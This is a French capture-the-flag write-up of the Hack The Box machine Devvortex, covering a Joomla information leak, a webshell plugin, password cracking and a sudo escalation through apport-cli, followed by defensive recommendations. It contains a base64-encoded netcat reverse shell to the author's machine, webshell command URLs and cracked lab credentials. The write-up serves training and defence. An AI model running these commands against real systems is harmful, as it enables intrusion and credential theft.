Connexion
Hack The Box – Résoudre la box Devvortex : outils, méthodes et recommandations pour se protéger
I. Présentation
Je vous propose dans cet article la résolution de la machine Hack The Box Devvortex de difficulté "Facile". Cette box est accessible via cette page.
Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.
Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs
Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".
| Technologies abordées | Linux, web, Joomla, MySQL |
| Outils utilisés | nmap, ffuf, JohnTheRipper, searchsploit, CVE, sudo |
Retrouvez tous nos articles Hack The Box via ce lien :
II. Résolution de la box Devvortex
A. Découverte et énumération
Pour l'instant, nous ne disposons que de l'adresse IP (10.10.11.242) de notre cible, commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.
Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery
$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.242
Nmap scan report for 10.10.11.242
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONSSeuls deux services sont exposés sur le réseau. Nous pouvons également remarquer que l'outil nmap a été interroger le service web et que celui-ci lui a renvoyé une redirection vers http://devvortex.htb/. La commande suivante permet de l'ajouter à notre fichier /etc/hosts pour que notre système puisse le retrouver :
$ echo "10.10.11.242 devvortex.htb" |sudo tee -a /etc/hostsIl s'agit d'un vhost (voir cet article : Les vHosts sous Apache2). Peut-être le service web en contient-il d'autres, mais comment le savoir ? Ceux-ci ne sont affichés ou indexés nulle part pour le moment. J'utilise donc une technique qui va me permettre d'énumérer les vhosts potentiels à l'aide d'un dictionnaire de mot :
Technique d'attaque (MITRE ATT&CK) : T1595.003 - Active Scanning: Wordlist Scanning
$ ffuf -w $s/Discovery/DNS/subdomains-top1million-20000.txt -u http://devvortex.htb/ -H "Host: FUZZ.devvortex.htb" --fc 302
dev [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 63ms]La liste de mot (wordlist) utilisée ici est celle de la ressource SecLists, de Daniel Miessler. J'ai ajouté sur mon système une variable "s" qui contient le chemin d'accès vers ces listes (/usr/share/seclists) pour gagner en efficacité.
Via cette énumération de vhost, l'outil ffuf que j'utilise va effectuer des requêtes en changeant à chaque essai le sous domaine dans la requête suivante, mais en interrogeant toujours la même IP, le même service web :
GET / HTTP/1.1
host: FUZZ.devvortex.htbEn identifiant des variations dans la taille de la réponse, les codes de réponse HTTP ou le nombre de lignes/mots dans la réponse, nous pourrons identifier de nouveaux vhosts existants, car 99% des requêtes obtiendront la même réponse d'erreur, sauf pour les vhost existants. Ici, ffuf nous permet d'identifier le vhost dev.devvortex.htb. Que l'on rajoute également à notre fichier /etc/host :
echo "10.10.11.242 dev.devvortex.htb" |sudo tee -a /etc/hostsCela peut paraître contre-intuitif de s'intéresser à l'énumération de vhost plutôt que directement aller se renseigner sur ce que fait l'application web principale qui pourrait elle-même contenir des vulnérabilités. Néanmoins, foncer tête baissée sur la première brèche potentielle ou service croisé est un piège qu'il faut savoir éviter. Respecter une méthodologie est très important, notamment lors des phases d'énumération, afin de ne se fermer aucune porte et d'avoir encore de la matière à travailler lorsque nos premières attaques ne sont pas fructueuses.
Soyez sûr d'avoir toutes les cartes (informations) en main avant d'attaquer.
B. Exploitation d'un Joomla non à jour
Voyons à quoi ressemble ce site web en développement :
Il s'agit visiblement d'un site vitrine, dont l’apparence est plutôt commune. L'utilisation d'un CMS (Content Management System) comme WordPress, Joomla ou Drupal est très probable. Nous pouvons valider la présence de ces CMS par la présence de dossiers ou fichiers qui les caractérisent. Par exemple, le contenu du fichier robots.txt :
$ curl http://dev.devvortex.htb/robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html
User-agent: *
Disallow: /administrator/
Disallow: /api/
[...]Pas de doute, il s'agit bien d'un CMS Joomla. En parallèle du déroulement de ma méthodologie propre à Joomla, je lance l'outil nuclei :
Technique d'attaque (MITRE ATT&CK) : T1595 - Active Scanning: Vulnerability Scanning
Nuclei est un scanner de vulnérabilité web open source très intéressant. Il se compose de nombreux modules créés par la communauté. Chaque module est propre à une fuite d'information, une CVE ou une mauvaise configuration précise. La détection se porte notamment sur la détection de mots-clés dans une réponse ou la présence d'un fichier caractéristique d'une CVE/défaut de configuration.
C'est un outil intéressant à lancer en parallèle des opérations manuelles puisqu'il peut vérifier un grand nombre de choses en peu de temps, même les plus improbables.
Manuellement, je récupère la version de Joomla, là aussi grâce à des fichiers qui contiennent classiquement cette information :
$ curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | xmllint --format -
<?xml version="1.0" encoding="UTF-8"?>
<extension type="file" method="upgrade">
<name>files_joomla</name>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>(C) 2019 Open Source Matters, Inc.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<version>4.2.6</version>
<creationDate>2022-12</creationDate>Avec cette version, nous pouvons effectuer une recherche sur les vulnérabilités connues grâce à searchsploit (voir Recherche rapide dans la base Exploit-DB avec searchsploit) :
La CVE impacte la version 4.2.8 (et probablement les précédentes) et notre version de Joomla est la 4.2.6, voilà qui est intéressant. Il s'agit d'une fuite d'information sans authentification. Si l'on regarde de plus près les résultats de nuclei, il a également remonté cette information (CVE) et nous indique le lien d'accès à la fuite d'information :
$ nuclei -u http://dev.devvortex.htb/
[...]
[CVE-2023-23752] [http] [medium] http://dev.devvortex.htb/api/index.php/v1/config/application?public=true
[...]
[joomla-detect:version] [http] [info] http://dev.devvortex.htb/administrator/manifests/files/joomla.xml [4.2.6]
[...]En se rendant sur cette URL (ou en utilisant le script indiqué par searchsploit), nous obtenons effectivement une belle fuite d'informations :
Technique d'attaque (MITRE ATT&CK) : T1190 - Exploit Public-Facing Application
Un login et un mot de passe ! Mon premier réflexe est de les essayer sur l'accès SSH, mais ils donnent en fait accès au panel d'administration du Joomla :
Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts
C. Exécution de commande sur le système
L'administrateur du CMS peut naturellement tout faire, même rajouter un plugin qui lui donnera accès à un webshell PHP. Il en existe des prêts à l'emploi sur GitHub : https://github.com/p0dalirius/Joomla-webshell-plugin
Attention, dans un contexte réel de test d'intrusion (au sens prestation de service), évitez d'utiliser des codes tout fait trouvés sur Internet pour ce genre d'opération. Vous n'êtes pas à l'abri d'un malin qui en profiterait pour utiliser cet accès comme une backdoor pour lui-même, ou qui aurait injecté un code destructeur pour le système cible. Vous devez maîtriser les outils utilisés (faire une revue de code avant utilisation, ou faire votre propre plugin).
Je rajoute donc ce plugin, qui me donne accès à un webshell en PHP :
Technique d'attaque (MITRE ATT&CK) : T1059.004 - Command and Scripting Interpreter: Unix Shell
$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"
$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=echo%20cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE2LjIxIDkwMDEgPi90bXAvZgo=|base64%20-d|bash"Vous devez vous interroger sur la deuxième commande. Il s'agit en fait d'une commande encodée en base64. Je génère une commande qui l'affiche avec echo, puis qui la décode et enfin qui exécute le résultat obtenu. Cela me permet d'injecter du code "complexe" sans me soucier des quotes, espaces et autres caractères spéciaux. La commande originale (décodée) est la suivante :
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.21 9001 >/tmp/fCette commande crée un pipe et établie une connexion réseau vers l'adresse IP 10.10.16.21 sur le port 9001 (ma machine d'attaque), puis redirige un shell interactif vers cette connexion, permettant un accès distant au système.
L'utilisation de l'encodage base64 est une technique très commune et tellement connue que bon nombre de produits de sécurité considèrent maintenant l'utilisation de la commande base64 comme suspecte, ce qui entraîne des alertes de sécurité.
Après avoir mis un netcat en écoute sur le port 9001 de ma machine, je me retrouve donc avec un accès en tant que www-data sur le serveur :
$ nc -lvp 9001
listening on [any] 9001 ...
connect to [10.10.16.21] from devvortex.htb [10.10.11.242] 49096
sh: 0: can't access tty; job control turned off
$ whoami
www-dataD. Vol des identifiants de l'utilisateur logan
Maintenant que nous avons une première main sur le système, intéressons-nous aux processus et services exécutés. J'utilise la commande netstat pour récupérer les services qui ont un port en écoute :
Technique d'attaque (MITRE ATT&CK) : T1049 - System Network Connections Discovery
$ netstat -petulan |grep "LISTEN"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 0 23392 883/nginx: worker p
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 101 22905 -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 24155 -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN 114 25609 -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 114 25611 -
tcp6 0 0 :::80 :::* LISTEN 0 23393 883/nginx: worker p
tcp6 0 0 :::22 :::* LISTEN 0 24166 - Nous voyons, en plus de services que nous connaissons déjà, un service MySQL. Nous avons auparavant récupéré des identifiants que nous pouvons tester sur ce service. Par exemple, pour lister les données de la table "users" du CMS Joomla :
Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts
$ mysql -u lewis -p"P4ntherg0t1n5r3c0n##" -e "use joomla; select * from sd4fg_users"
mysql: [Warning] Using a password on the command line interface can be insecure.
id name username email password block sendEmail registerDate lastvisitDate activation params lastResetTime resetCount otpKey otep requireReset authProvider
649 lewis lewis lewis@devvortex.htb $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u 0 1 2023-09-25 16:44:24 2023-11-26 10:34:39 0 NULL 0 0
650 logan paul logan logan@devvortex.htb $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 0 0 2023-09-26 19:15:42 NULL {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} NULL 0 0Nous étions passés à côté de cette information lorsque nous avons eu accès au panel d'administration Joomla, un second utilisateur est présent et nous venons de récupérer le hash de son mot de passe.
Le code d'identification d'un hash, tel que le
$2y$, est généralement utilisé pour indiquer l'algorithme de hachage et la version utilisés pour générer l'empreinte. Ici,$2y$indique que l'empreinte a été générée à l'aide de l'algorithme bcrypt. Il n'est cependant pas obligatoire pour tous les algorithmes.
Vous trouverez une liste très complète des types de hash ainsi que des exemples de format sur le site d'hashcat : https://hashcat.net/wiki/doku.php?id=example_hashes
Nous aurions également pu avoir cette information en utilisant l'outil hashid :
$ hashid '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'
Analyzing '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt Utilisons l'outil johntheripper pour casser ce hash et retrouver le mot de passe qui a permis de le générer :
Technique d'attaque (MITRE ATT&CK) : T1110.002 - Brute Force: Password Cracking
$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/x
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (?)
1g 0:00:00:05 DONE (2023-11-26 21:55) 0.1834g/s 257.6p/s 257.6c/s 257.6C/s dianita..harry
Use the "--show" option to display all of the cracked passwords reliablyVous noterez que John The Ripper possède lui aussi sa propre méthode de reconnaissance des hash puisqu'il a deviné tout seul qu'il s'agissait de bcrypt. J'utilise également la wordlist "rockyou.txt" comme dictionnaire pour casser ce mot de passe.
Le fichier "rockyou.txt" est un dictionnaire de mots de passe qui a gagné en notoriété en raison de sa taille et de son utilisation fréquente dans les challenges cybersécurité. Son nom vient du fait qu'il a été créé à partir de données compromises de RockYou. En 2009, cette entreprise a subi une fuite d'information où des millions de mots de passe d'utilisateurs ont été compromis. Les données ont ensuite été rendues publiques sur Internet, et le fichier "rockyou.txt" a été créé en utilisant ces informations.
Il contient 14 344 391 mots de passe couramment utilisés, souvent faibles en complexité.
Nous avons donc le mot de passe de l'utilisateur "logan" sur le CMS Joomla, utilise-t-il également ce mot de passe pour son accès SSH ?
Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH
$ ssh logan@devvortex.htb
logan@devvortex:~$ cat user.txt
8[REDACTED1La réponse et oui, sans surprise l'utilisateur réutilise le même mot de passe entre plusieurs services. Nous voilà avec le premier flag et un accès utilisateur au système.
E. Élévation de privilèges via apport-cli et sudo
Quels pourraient être les privilèges et accès spéciaux de l'utilisateur logan ? Je remarque qu'il possède une dérogation d'utilisation de la commande /usr/bin/apport-cli en tant que root via sudo :
Technique d'attaque (MITRE ATT&CK) : T1033 - System Owner/User Discovery
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cliJe ne connais pas du tout cette commande, regardons son aide avec l'option --help:
logan@devvortex:~$ /usr/bin/apport-cli --help
Usage: apport-cli [options] [symptom|pid|package|program path|.apport/.crash file]
Options:
-h, --help show this help message and exit
-f, --file-bug Start in bug filing mode. Requires --package and an
optional --pid, or just a --pid. If neither is given,
display a list of known symptoms. (Implied if a single
argument is given.)
[...]
-v, --version Print the Apport version number.
logan@devvortex:~$ /usr/bin/apport-cli -v
2.20.11
La lecture de l'aide de la commande (tronquée ci-dessus) ainsi que quelques recherches nous font comprendre qu'elle permet de remplir des tickets de bug à destination des développeurs. Elle dispose notamment d'un mode interactif à l'aide de l'option "-f". Nous pouvons également identifier sa version exacte avec l'option "-v". Je découvre que la CVE-2023-1326 (score CVSS3 : 7.8) affecte cette version :
Visiblement, apport-cli utilise less, une commande qui parait simple et inoffensive, mais qui est en réalité dangereuse lorsque utilisée avec sudo. Less dispose, en effet, d'une fonctionnalité d'exécution de commande :
Ressource : https://gtfobins.github.io/ est une excellente ressource à connaitre. Ce site liste les exploitations possibles des binaires connus sous Linux. C'est très utiles pour savoir quelles sont les fonctionnalités "cachées" et dangereuses d'un binaire exécuté via sudo ou un bit setuid (lire/ écrire dans un fichier privilégié ou pour exécuter des commandes). Ce site peut être utile également aux blue teams pour savoir si les binaires utilisés ou présents sur un système présentent un risque.
https://gtfobins.github.io/
Technique d'attaque (MITRE ATT&CK) : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
Le binaire apport-cli est donc exécuté en tant que root via sudo et utilise less, qui présente des exploitations possibles pour exécuter des commandes, voilà qui nous intéresse. La première étape consiste donc à lancer apport-cli via sudo, qui nous demande le mot de passe de logan. Ensuite, on utilise le mode interactif de apport-cli (-f) et un mode "view report" (-v) nous est proposé, c'est certainement à ce moment-là que less intervient :
Et nous voilà avec les droits root sur le système ! L'attaquant peut alors en faire ce qu'il veut, récupérer toutes les données et les identifiants qui y trainent, installer un keylogger ou l'utiliser comme rebond vers le SI interne, après tout, il est root !
III. Résumé de l'attaque
Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :
| TTP (MITRE ATT&CK) | Détails |
| T1046 - Network Service Discovery | Utilisation de nmap pour découvrir les services exposés sur le réseau |
| T595.003 - Active Scanning: Wordlist Scanning | Utilisation de ffuf pour énumérer les vhost du service web |
| T1595 - Active Scanning: Vulnerability Scanning | Identification de la version et recherche des CVE associées |
| T1190 - Exploiting Public-Facing Application | Exploitation de la CVE-2023-23752 pour récupérer des informations d'authentification |
| T1078.003 - Valid Accounts: Local Accounts | Récupération et découverte d'identifiants dans un fichier sqlite. |
| T1021.004 - Remote Services: SSH | Connexion au serveur SSH compromis |
| T1059.004 - Command and Scripting Interpreter: Unix Shell | Ajout d'un plugin PHP Joomla en vue d'obtenir une exécution de commande sur le système |
| T1049 - System Network Connections Discovery | Revue des services en écoute sur la cible via netstat et détection d'un service MySQL |
| T1078.003 - Valid Accounts: Local Accounts | Connnexion au service MySQL via les identifiants préalablement récupérés et récupération d'un hash du mot de passe de l'utilisateur logan |
| T1110.002 - Brute Force: Password Cracking | Cassage du hash avec johntheripper |
| T1021.004 - Remote Services: SSH | Authentification en tant que logan sur le service SSH |
| T1033 - System Owner/User Discovery | Découverte des dérogations sudo pour l'utilisateur courant |
| T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching | Exploitation de l'utilisation cachée de less par le binaire apport-cli via sudo |
IV. Notions abordées
A. Côté attaquant
L'énumération de vhost peut apparaitre comme une étape secondaire, mais elle doit faire partie de votre méthodologie d'énumération. Il est aujourd'hui rare de croiser un service Apache ne faisant tourner qu'un seul site. L'énumération de vhost peut notamment permettre de trouver des applications web non référencées comme celles en développement.
Il est important pour un attaquant de savoir récupérer le plus d'informations possibles sur sa cible afin d'avoir une vue la plus complète possible de la surface d'attaque d'un système, d'un simple script ou d'un réseau entier. Savoir identifier une version exacte et rechercher les CVE associées peut paraitre simple, mais il est très facile de passer à côté de ce type d'information pendant la phase d'énumération. Phase durant laquelle nous avons en général un grand nombre d'informations à vérifier et à collecter.
La collecte et la récupération d'identifiants est également une opération qui doit être réalisée avec minutie. Je vous recommande pendant vos challenges et prestations de scrupuleusement stocker les identifiants récupérés. Également, il est important de réutiliser ces identifiants sur tous les services croisés. La réutilisation des mots de passe entre différents services est quasiment la norme (malheureusement) en entreprise, sans compter les services de SSO qui sont faits pour n'avoir qu'un mot de passe à retenir. Cela peut sembler simple, mais la collecte d'identifiants étant réalisée tout au long de l'attaque, il est facile d'oublier de réutiliser ceux-ci sur tous les services disponibles.
Enfin, connaitre les bonnes ressources est primordiale. Vu le nombre d'informations stockées sur https://gtfobins.github.io/, vous constaterez vite qu'il est impossible de tout retenir et encore moins de se maintenir à jour. Plutôt que de retenir 1 000 informations, il est parfois plus efficace se rappeler les sources où les trouver.
B. Côté défenseur
Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :
Recommandation n°1 : nous pouvons recommander l'application stricte de la directive n°34 du Guide d'hygiène de l'ANSSI : Définir une politique de mise à jour des composants du système d’information. Les applicatifs et systèmes exposés sur le réseau ou sur Internet sont d'autant plus concernés par ce besoin de mise à jour rapide puisqu'ils peuvent être exploités par les attaquants dès la parution d'un code d'exploitation.
Recommandation n°2 : il doit également être recommandé d'utiliser un autre serveur web que le serveur web de production, exposé à internet, pour héberger le site web en développement. Les services en développement sont souvent moins bien protégés et sécurisés que les services en production (la sécurité est souvent le dernier wagon à être rattaché à un projet). Ces environnements en développement sont dans la réalité des cibles très recherchées par les attaquants et ne doivent donc pas être exposés à Internet et être strictement cloisonnés des services et réseau de production.
Recommandation n°3 : Il peut également être recommandé la mise en place d'une politique de mot de passe plus robuste. Pouvoir casser un hash, généré par algorithme de calcul robuste comme bcrypt, en quelques secondes via la wordlist la plus commune est un signal fort que les mots de passe utilisateur ne sont pas suffisamment contraints dans leur complexité. Cela va dans le sens de la directive n°10 du Guide d'hygiène de l'ANSSI : Définir et vérifier des règles de choix et de dimensionnement des mots de passe. Le guide Recommandations relatives à l'authentification multifacteur et aux mots de passe, de l'ANSSI, plus spécifique et complet sur ce sujet, peut également être une ressource à conseiller.
V. Conclusion
J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord :).
Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy
The post Hack The Box – Résoudre la box Devvortex : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.
